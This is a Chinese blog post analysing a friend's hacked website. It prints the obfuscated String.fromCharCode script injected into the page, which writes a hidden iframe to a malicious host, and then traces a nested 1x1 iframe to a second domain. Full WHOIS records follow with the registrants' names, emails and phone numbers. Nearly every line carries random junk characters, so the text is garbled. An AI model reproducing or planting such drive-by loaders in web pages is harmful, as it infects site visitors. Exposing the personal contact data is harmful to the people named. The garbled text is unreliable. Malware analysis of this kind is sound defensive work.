首发在我的博客里面，
bj{f[nZ d I omJo http://www.areway.cn/?p=175 QLg9a G| Xe+FMbBco @23x;x 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
=6YO!B>7 3mz>Y*^?0 <script>t=’60,105,102,114,97,109,101,
Yk&{VXU< 32,115,114,99,61,104,116,116,112,58,47,47,
l);8y5 102,114,101,101,46,117,45,117,117,117,46,99,
Y\\nJ uJo 110,47,101,114,114,111,114,46,104,116,109,
RyD$4jk+T" 32,119,105,100,116,104,61,49,48,48,32,104,
H2cc).8 " 101,105,103,104,116,61,48,62,60,47,105,102,
Isb^~c_ P 114,97,109,101,62′;
Ih"Ol(W t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
- Sgp,"a rcT<OiYuig <script>t=’60,105,102,114,97,109,101,32,115,
TvwIro 114,99,61,104,116,116,112,58,47,47,102,114,
:!h H`l}p 101,101,46,117,45,117,117,117,46,99,110,47,
!S{<X c'wv 101,114,114,111,114,46,104,116,109,32,119,
! WnI` 105,100,116,104,61,49,48,48,32,104,101,105,
ji=po;g=E 103,104,116,61,48,62,60,47,105,102,114,97,
z 59J=?| 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
~- i?= document.write(t);</script>
*4y r7~S5 tpK4 gjf <html xmlns=”
X
jN.X http://www.w3.org/1999/xhtml D<6k AGE “>
#::vMnT <head>
hZJqo + s <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
*X=-^\G <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
W7"sWaOhW <title>首页 - 爱生活家庭网
!{;RtUPz* HArYL} l 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
o-= lH tR 转换字符串后的大概内容是（谁点击后果自付）：
B35f 5m7r <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
>FNt*tX<0 "FS.&&1( 查询玉米u-uuu.cn的详细信息：
L9)&9
/f Domain Name: u-uuu.cn
4iW 2hV@m ROID: 20070901s10001s64972306-cn
[_@OCiV5) Domain Status: ok
*[n^6 ) Registrant Organization: 王雷
a-y5 \x Registrant Name: 王雷
`_i-BdW Administrative Email:
czlovexs@126.com J Y16|ia Sponsoring Registrar: 北京万网志成科技有限公司
`_`,XkpzCJ Name Server:ns.yovole.com
ic#drpl, Name Server:ns1.yovole.com
@eWx4bl Registration Date: 2007-09-01 17:54
i-b7 Expiration Date: 2008-09-01 17:54
)`-]nMc 最后PING了一下地址 都没有什么….
DUr1s]+P -2_$zk* n 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
zPYa@0I
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
&@ -glF5 <script language=”javascript” src=”
K e8cfd~c http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script $n"Llw&) >
L+L9)8FJ 这个玉米应该有可能是木马作者的：
06$9Uz9 foafau.info的详细信息：
P0=F9`3 wb Access to INFO WHOIS information is provided to assist persons in
{5JXg9um determining the contents of a domain name registration record in the
C-Z,L# Afilias registry database. The data in this record is provided by
}1dh/Cc` Afilias Limited for informational purposes only, and Afilias does not
Tp13V.| guarantee its accuracy. This service is intended only for query-based
LAeX e!y access. You agree that you will use this data only for lawful purposes
DBRJtU!5x and that, under no circumstances will you use this data to: (a) allow,
}dM^6
Kd% enable, or otherwise support the transmission by e-mail, telephone, or
qQ_QF facsimile of mass unsolicited, commercial advertising or solicitations
D6WsEd> to entities other than the data recipient’s own existing customers; or
\2!$HA7P (b) enable high volume, automated, electronic processes that send
<~OyV5:6 queries or data to the systems of Registry Operator, a Registrar, or
W]OT=6u8o Afilias except as reasonably necessary to register domain names or
_#:1Axx1 modify existing registrations. All rights reserved. Afilias reserves
0*^Fk=>ej the right to modify these terms at any time. By submitting this query,
(tv h9 o you agree to abide by this policy.
nabN.Ly Domain ID:D22418703-LRMS
L?fv5 S3 Domain Name:FOAFAU.INFO
!w Bmf&= Created On:20-Nov-2007 16:05:42 UTC
SH.'E Hd Last Updated On:20-Nov-2007 16:05:44 UTC
4Q5v8k= Expiration Date:20-Nov-2008 16:05:42 UTC
G
w[&P% Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
U9w*x/S wb Status:CLIENT DELETE PROHIBITED
Cn< x Status:CLIENT RENEW PROHIBITED
?x97 q3I+] Status:CLIENT TRANSFER PROHIBITED
K~] jXo^M Status:CLIENT UPDATE PROHIBITED
jo~Pr Status:TRANSFER PROHIBITED
#, 56vVY Registrant ID:GODA-040110615
$BY{:# a] Registrant Name:liu hong
O}Jb,?p Registrant Organization:
&bRH(yF Registrant Street1:beijing
FcA0 \`0M Registrant Street2:
p* @L1 Registrant Street3:
i`~y %y Registrant City:beijing
J"y@n ~*0 Registrant State/Province:
bBX~ZWw Registrant Postal Code:100000
jVz1`\Nje Registrant Country:CN
QS}=oOR@k Registrant Phone:+86.860108888777
D }\`5L< Registrant Phone Ext.:
Ar==@777j Registrant FAX:
xph60T Registrant FAX Ext.:
)zN
)7 Registrant Email:bbbshiji@163.com
$gNCS:VG* Admin ID:GODA-240110615
J*k4&l Admin Name:liu hong
sAN#j
{ Admin Organization:
[H1NP'Kg] Admin Street1:beijing
G u= Rf`o Admin Street2:
!Xm : $KH Admin Street3:
7}Sw(g)o7 Admin City:beijing
Q$%@.@ Admin State/Province:
c.fj[U|j Admin Postal Code:100000
"{k3~epYaN Admin Country:CN
9M<? *8) Admin Phone:+86.860108888777
VsC]z,
oV Admin Phone Ext.:
< Yc:,CU Admin FAX:
zP9 !f A Admin FAX Ext.:
zkMQ= ,[ Admin Email:bbbshiji@163.com
m"*: XfOL Billing ID:GODA-340110615
RY'y%6Z]ZO Billing Name:liu hong
oZ}e
w!V Billing Organization:
g:Dg?_o Billing Street1:beijing
X'c5s~9 Billing Street2:
m{*l 6`dF Billing Street3:
VxCH}&! Billing City:beijing
9c 6=[3)V Billing State/Province:
,J|};s+ Billing Postal Code:100000
[Z 0 e$ Billing Country:CN
.\VjS^o&Z& Billing Phone:+86.860108888777
51j Billing Phone Ext.:
bbJa,}R Billing FAX:
y S*PS='P Billing FAX Ext.:
<L J$GiU Billing Email:bbbshiji@163.com
A-W7!0
Tech ID:GODA-140110615
+3 C
S3fTq Tech Name:liu hong
JG[+e*8 Tech Organization:
3{ci]h`:y8 Tech Street1:beijing
G 1$l %B Tech Street2:
g _=Q=y@, Tech Street3:
^.(]i \V_ Tech City:beijing
"a: ; Tech State/Province:
tT 7$2 9 Tech Postal Code:100000
iB?@(10}ES Tech Country:CN
Bg`b*(Q Tech Phone:+86.860108888777
78%2#;;G Tech Phone Ext.:
H) S3 /%.| Tech FAX:
gDsZbmR Tech FAX Ext.:
^Z*_@A _ v Tech Email:bbbshiji@163.com
rnr7t \a~] Name Server:NS27.DOMAINCONTROL.COM
[D t`@Dm Name Server:NS28.DOMAINCONTROL.COM
R8 m/N t2 Name Server:
7-5q\[ZK Name Server:
qb_V
,b9 Name Server:
d>%_<pw Name Server:
vl#/ 8]0! Name Server:
)L{\k$r!EM Name Server:
C?O{l% 0 Name Server:
|3i ~?]
A Name Server:
NB^.$ 3 9n Name Server:
J=$v+8&. Name Server:
sJr $[? Name Server:
C>+UZ iJYr?3nw; 接着下载每个文件里面的代码：
F Jz jS; 一步一步看..
-l\@50, D 
zm e:U
0h7\zoZ5 
1)r1/0 
,y0kzwPR1 
;#;X @BhS 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
